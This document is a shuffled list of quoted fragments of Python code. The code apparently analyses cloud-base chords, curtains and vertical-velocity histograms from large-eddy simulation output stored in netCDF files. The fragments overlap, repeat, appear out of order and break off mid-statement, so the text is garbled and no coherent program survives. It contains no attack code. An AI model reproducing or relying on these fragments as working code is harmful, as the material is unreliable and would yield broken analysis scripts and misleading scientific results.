"len(cbl_1d) cl_base = np.zeros(nt) #Detecting all cloudy cells #Use to",
"go a bit beyond -1.5 and 1.5, total width defined",
"profile data is loaded dx = 25.0 date = date_str",
"to determine existence of cloud z_min = 10 #Index of",
"t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The needed surface buoyancy flux, which",
"will jump to the y direction when chord_max/2 is reached",
"= file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof = file_prof['z'][:] dz =",
"one to w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col, kind='next') f =",
"cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate the beginning",
"chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per",
"if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min",
"to be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg]) #introducing z_idx_base vector #Assigning",
"is done for i in range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col",
"no cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6)",
"save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star,",
"used to determine reference winds',ref_lvl ) #fake t vector, t_1d",
"cbl over time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now we either",
"',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now we either iterate over columns",
"= t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the new regularized grid with",
"#dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If no clouds are present we",
"func_curtain_reg(input_2d_field): #function regularizes to cloud base #2019-03-20: added smoother to",
"before saving in pandas chord_timesteps = [] chord_length = []",
"u/sqrt(u^2+v^2) and flips the vector if u>0. Is set to",
"it scales the output by u/sqrt(u^2+v^2) and flips the vector",
"u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d) #Load the",
"as consecutive, not matter the time distance between them. #if",
"thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star var_curtain_tmp = var_curtain_tmp/boundary_scaling #Finally",
"V_ref if data_dim_flag==1. Is calculated directly from the cloud base",
"perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:]",
"2 cells buffer at the beginning and end, because for",
"anomalies of thl and qt qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose()",
"and idx_beg_curtain>2 and len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First thing to",
"boundary_scaling_flag == 1: #Now adding the boundary scaling using w*",
"t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3 = ttiimmee.time() print('curtain",
"xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw xr_dataset.attrs = settings_dict save_string = directory_output+ reg_var+save_string_base+'_sizebin.nc' xr_dataset.to_netcdf(save_string)",
"and regularized beards # proc_chords is used for chords #proc_beard_regularize",
"factor_y: ',scaling_factor_y, ' int(ref_idx): ',int(ref_idx)) if scale_flag == 2: #Regularizing",
",np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d",
"def proc_pdf(reg_var = 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3,",
"seconds, taken to agree with Lareau if chord_times == 0:",
"3D snapshot # time_slice_curtain: 0 only puts out the total",
"using the 25 percentile in agreement with Neil if data_dim_flag==3:",
"clustering parameters, #set super strict if chord_times == 1: t_gap",
"thl_2d = np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d = np.zeros(1) #The",
"print(':') print(':') print('chordlength properties saved as panda in ',filename_chord_panda) print(':')",
"cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If boundary scaling is used, the variable",
"to the profile values dt_2 = (time_prof[1]-time_prof[0])/2 for tt in",
"my Neil, 1: smooth out base after setting it with",
"and end, because for the interpolation a bit of overlap",
"if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string = directory_output+ reg_var+save_string_base save_string",
"= xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time'), var_curtain_sum.transpose()/n_curtain),",
"thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now",
"base chord_w = [] chord_w_up = [] #mean over updrafts",
"profile, #Then latter apply the nearest value to the full",
"'' #This now a bit trickier then for the 3D",
"f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that",
"named the same as the file. #Changing 3D output #Default",
"to make interpolation easy idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain",
"#uses glob to get all files which contain column. column_files",
"profile time for tt in range(len(time_prof)): w_var = 1.0 z=z_min",
"ql_3d del var_3d gc.collect() #fake t vector, t_1d = np.linspace(0,2*nx*ny,2*nx*ny)",
"f_y(z_reg_mid) print('Scaling flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter:",
"they fulful chord time requirements and have a number of",
"',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now we simply go through all",
"for generating beards #proc_pdf saves pdfs of a variable below",
"condensation level LCL qt_pressure = p*qt sat_qv = 6.112*100 *",
"cloud base is at 1, since z_idx_base is the same",
"= var_curtain_tmp[::-1,:] var_curtain_tmp = abs(scaling_factor) * var_curtain_tmp if scale_flag==2: if",
"= directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w =",
"= total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies we subtract",
"scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext = np.hstack([scaling_factor_y_prof[0],scaling_factor_y_prof]) #1D vertical interpolation to",
"griddata but it was a lot slower #Calculating the regularized",
"= input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz = var_orig_2d.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig",
"a lot slower #Calculating the regularized t axis but for",
"how is this zero: ',np.mean(w_tmp),w_tmp) ############################################################################################################################## #PLOTS ############################################################################################################################## #If the",
"#2019-03-28: Added simplified version for base_smoothing_flag == 2 which gets",
"= 0 if size_bin_flag==1: N_bins = 12 n_curtain_bin = np.zeros([N_bins])",
"searcher print('skipping timestep: ',it,' cause no clouds') ql_2d = np.zeros((nz,1))",
"with global and local variables def func_curtain_reg(input_2d_field): #function regularizes to",
"= np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum =",
"tt in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because",
"immediately t_cloudy_idx = 0 #n_chords = 0 chord_idx_list = []",
"if it fulfils chord criteria regaring time #we also added",
"if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #Setting curtains",
"- (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain = min(idx_end_curtain,nt-1)",
"ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end = ttiimmee.time() print('total",
"t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate the new regularized grid with the",
"-1.5 and 1.5, total width defined by curtain_extra #takes the",
"d_reg = 0.005 n_z_reg = int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg) t_reg_bound",
"directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0,",
"time1 = ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it]) file_col",
"#lets try saving memory by closing files #file_col.close() #The needed",
"='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400,",
"criteria, but now I also hard coded that neighboring cells",
"used interp2d, tried griddata but it was a lot slower",
"reg_var+'_up':(('regularized height', 'regularized time','length'), var_curtain_bin_up_sum.transpose()/n_curtain_bin_up), reg_var+'_dw':(('regularized height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)},",
"chord curtain_min = 10 #Minimal number of cells needed to",
"= settings_dict #Making save string save_string_base = '_beard_'+date+'_d'+str(data_dim_flag)+'_cb'+str(base_smoothing_flag)+'_an'+str(anomaly_flag)+'_ct'+str(chord_times)+'_ce'+str(int(curtain_extra)) if data_dim_flag==3:",
"ql_2d var_2d = file_col.variables[reg_var][:] var_2d = var_2d.transpose() #The needed cbl",
"[] chord_thl_25 = [] chord_thl_75 = [] chord_qt = []",
"this to calculate dz z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0]",
"total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies of thl and",
"del qt_3d #hopefully this helps gc.collect() #Getting anomalies of thl",
"= [] chord_thl_25 = [] chord_thl_75 = [] chord_qt =",
"1)) thl_3d = np.transpose(thl_3d, (0, 2, 1)) w_2d = np.hstack([w_2d",
"is at 1, since z_idx_base is the same everywhere I",
",np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able to",
"alpha) / (A - alpha) dewpoint = dewpoint + 273.15",
"= total_surf_thl_flux[tt] #to get anomalies of thl and qt we",
"v_2d = v_2d.transpose() print('t_1d',t_1d) #Load the var file, even if",
"print('sorry, but I havent implemented star scaling for 1d data')",
"to the total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum = var_hist_sum+var_hist",
"w_3d = grab_3d_field(file_w ,it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d =",
"25','qt 75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total run time of",
"= (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose() #to",
"it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base",
"1: #Now adding the boundary scaling using w* surf_flux =",
"',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now calculating the var at cloud",
"the boundary scaling using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height =",
"= file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof =",
"n_percentiles = 7 #Number of percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D",
"histogram below the cloud base and saves it #I will",
"will try to include everything available, but this might break",
"len(cbl_cl_idx[t_chord_begin:t_chord_end])>curtain_min-1: n_curtain += 1 #First thing to do is calculate",
"chord_length = ch_duration*V_ref #if scale_flag==0: # scaling_factor=1. #find index of",
"#mean over updrafts chord_w_base = [] chord_w_star = [] chord_thl_star",
"',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max:",
"cell_min = 3 #Minimal number of cells needed per chord",
"if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher than 0.6 domain height,",
"work anymore somehow. Now I just set it really high",
"= var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min)",
"shouldn't be needed, as all chord properties should be indepenent",
"arrays? Fuck it, will do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration)",
"(B + (T-273.15))) alpha = alpha + np.log(rel_hum) dewpoint =",
"started with a simple 5 cell running mean, #But now",
"a chordlength is created which is a list of all",
"time'), var_curtain_sum.transpose()/n_curtain), reg_var+'_up':(('regularized height', 'regularized time'), var_curtain_up_sum.transpose()/n_curtain_up), reg_var+'_dw':(('regularized height', 'regularized",
"to enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) scaling_factor_x_prof_ext = np.hstack([scaling_factor_x_prof[0],scaling_factor_x_prof]) scaling_factor_y_prof_ext",
"/ (B + (T-273.15))) alpha = alpha + np.log(rel_hum) dewpoint",
"if chord_times == 0: t_gap = 20 t_min = 30",
"xr_dataset.to_netcdf(save_string) print('saved size binned beards to '+save_string) print(':') print(':') print(':')",
"ref_lvl used is determined from the mean cloud base height",
"np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min = 0 chord_duration =",
"the beards by their chord_lenth. Currently using 8 bins of",
"noes not extend beyond end of 2d field or the",
"np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into",
"simple 5 cell running mean, #But now we are making",
"gc.collect() #Switching to anomalies if anomaly flag is used if",
"a minimum height of 100 m to screen out fog/dew",
"com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1:",
"add a bit to to each side to make interpolation",
"if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string =",
"low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z = np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be",
"of cbl over time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index) #Now we",
"if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord properties",
"interpolation them onto the regularized z axis d_z_tmp = 1.0/ref_idx",
"chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here",
"'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin",
"==1: print('plotting not implemented yet') ############################################################################################################################## #switching to y direction",
"or variance plus 300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid",
"beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord",
"data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r')",
"new regularized grid with the correct vertical but low/original horizontal/time",
"= column, 3 = 3D snapshot # time_slice_curtain: 0 only",
"that cloud base is at 1 d_z_tmp = 1.0/z_idx_base[i] nz",
"timesteps if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #for",
"base using the 25 percentile in agreement with Neil z_idx_base_default",
"all surface fluxes are the same everywhere. surf_flux = np.mean(bflux_s_1d)",
"= cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list",
"is within 300 m of CBL nt = len(cbl_1d) cl_base",
"chord properties chord_timesteps.append(t_chord_end-t_chord_begin) chord_duration.append(ch_duration) chord_length.append(ch_duration*V_ref) tmp_base_height = np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th",
"#now connecting all cloudy indexes while t_cloudy_idx < len(cbl_cl_idx)-1 and",
"from the cloud base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2)",
"= [] chord_qt_75 = [] chord_w_flux = [] #Sum of",
"rull regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear')",
"between them. #if the difference is larger than 20s the",
",it,reg_var) #Here we have to do all the fuckery to",
"= t_1d[idx_end_chord] #Calculate the beginning and end of the curtain,",
"= var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp to",
"reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag,",
"always go over x and y directions #TODO #plot_flag disabled",
"'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0,",
"N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base",
"= directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc'",
"a vector for the lower time resolution of the profile,",
"if i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i] #Here",
"the nearest value to the full 1d time vec #First",
"scaling_factor_x or y by seeing if we are in the",
"3D timesteps or column files. Only reall makes sense for",
"as reference height ref_lvl = cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref",
"to rotate the curtain to point upwind. #TODO #plot_flag disabled",
"added a minimum height of 100 m to screen out",
"u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() #lets",
"w_2d = np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d = np.zeros((nz,1)) t_1d",
"N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size = 250, curtain_extra = 1.0,",
"we subtract the closet mean profile if anomaly_flag==1: for tt",
"while t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE TO SET",
"on w_3d = np.transpose( w_3d, (0, 2, 1)) ql_3d =",
"ql_3d = np.transpose(ql_3d, (0, 2, 1)) var_3d = np.transpose(var_3d, (0,",
"consecutive, not matter the time distance between them. #if the",
"thl_2d = file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d",
"int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3 = ttiimmee.time()",
"cloud z_min = 10 #Index of minimum z_vlvl of the",
"column. column_files = glob.glob(directory_input+date+'/*column*.nc') for c_file in column_files: filename_column.append(c_file) print('filename",
"print('t_1d',t_1d) thl_2d = file_col.variables['thl'][:] thl_2d = thl_2d.transpose() qt_2d = file_col.variables['qt'][:]",
"= v_2d.transpose() #lets try saving memory by closing files #file_col.close()",
"chord_w_per_up = np.vstack([chord_w_per,tmp_w_per_up]) if data_dim_flag==1: chord_time.append(np.mean(t_1d[ch_idx_l])) if data_dim_flag==3: chord_time.append(time_prof[it]) t_cloudy_idx",
"= t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain has more than",
"chord base has a positive or negative w, then adds",
"with ', sum(var_pdf), 'points to '+save_string) print(':') print(':') print(':') print(':')",
"#Setting curtains for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg])",
"= [] chord_duration = [] chord_time = [] chord_height =",
"#globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d",
"): #We are starting out with histograms of w from",
"N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile = 25, boundary_scaling_flag =",
"up if data_dim_flag==1: scale_flag=0 #Creating dictionary to save all properties",
"a list of all timesteps that below to that chordlength",
"pass a very short empty fields over to the chord",
"list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w",
"pass on all my variables to func_curtain_reg so I instead",
"constraint that each chord must include at least cell_min cells,",
"of cells needed per chord # #1D clustering parameters, #set",
"= interp2d(t_reg_orig, z_reg_orig,var_orig_2d, kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) return var_curtain #Creating",
"boundary scaling using w* surf_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz",
"chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if",
"= np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:] =",
"abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp to the sums var_curtain_sum =",
"cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c base lower than the max",
",it,'ql') w_3d = grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var ,it,reg_var) #Here",
"the column output, or for any 3D variable as long",
"bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d = t_1d*0 #Now",
"vertical interpolation to get the right columns and asign them",
"size_bin_flag==1: N_bins = 12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins])",
"==1: print('loading column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r') w_2d = file_col.variables['w'][:]",
"and y calculation #Scaling shouldn't be needed, as all chord",
"print('calculated LCL: ',LCL_index) #Now we either iterate over columns or",
"a simple 5 cell running mean, #But now we are",
"= 20 t_min = 30 t_max = 1200*100 #Made a",
"you want to do that call the function repeatedly #Should",
"20s the cloud is over, and a chordlength is created",
"= 'w', date_str='20160611', directory_input ='/data/testbed/lasso/sims/', directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9,",
"w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d",
"qtflux_s_1d = t_1d*0 + total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it]",
"regularized z axis d_z_tmp = 1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top",
"0 chord_duration = 0 if chord_duration>t_min and chord_duration<t_max and chord_z_min",
"= [] chord_w_up = [] #mean over updrafts chord_w_base =",
"applied twice so that deviding by n it comes out",
"ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now",
"list of variables to analyze is unclear, I will try",
"surface variables from default profile print('calculating cbl height from profile",
"call the function repeatedly #Should be able to work for",
"CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes",
"# reg_var = variable that will be regularized # plot_curtains_flag:",
"if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration =",
"= 1.0 z=z_min while w_var > 0.08: z += 1",
"files #file_col.close() #The needed cbl height cbl_1d = t_1d*0 #The",
"t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min =",
"a large overlap, but I split them in two to",
"level is com scaling_factor_x = scaling_factor_x_prof[int(ref_idx)] scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling",
"z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1",
"plot flag is set the pre regularization curtains are plotted.",
"the mean cloud base height # 2, similar to 1",
"1e9, boundary_scaling_flag = 0 ): # reg_var = variable that",
"glob to get all files which contain column. column_files =",
"time_prof = file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together the Lifting",
"regularization plots, currently dissabled # data_dim_flag: 1 = column, 3",
"regularization later on, timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes",
"after the profile data is loaded dx = 25.0 date",
",it,'w') qt_3d = grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl') #Here",
"but for original resolution #It is expected to go a",
"stuff #Getting the chord beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin]",
"0, nothing, if 1, it scales the output by u/sqrt(u^2+v^2)",
"#Load the var file, even if means that we doable",
"#Minimal number of cells needed per curtain #value used to",
"the vectors don't perfectly align var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose()",
"cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl] V_ref = np.sqrt(u_ref**2+v_ref**2)",
"' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now we simply",
"2*scaling_factor_x_inter else: scaling_factor_prof = 2*scaling_factor_y_inter for n_prof in range(scaling_factor_prof.shape[0]): if",
"I split them in two to keep the one script",
"call the function repeatedly #Full list of variables to analyze",
"chord_w_per = np.zeros([0,n_percentiles]) chord_w_per_up = np.zeros([0,n_percentiles]) #This now a bit",
"print('iterable: ',it) print('n_chords: ',n_chords) print('number of time points included: ',len(cbl_cl_idx))",
"= surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l]))",
"cloud base cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0",
"in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i] = sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2:",
"will then convert to arrays in the end before saving",
"np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we do",
"#The needed surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d",
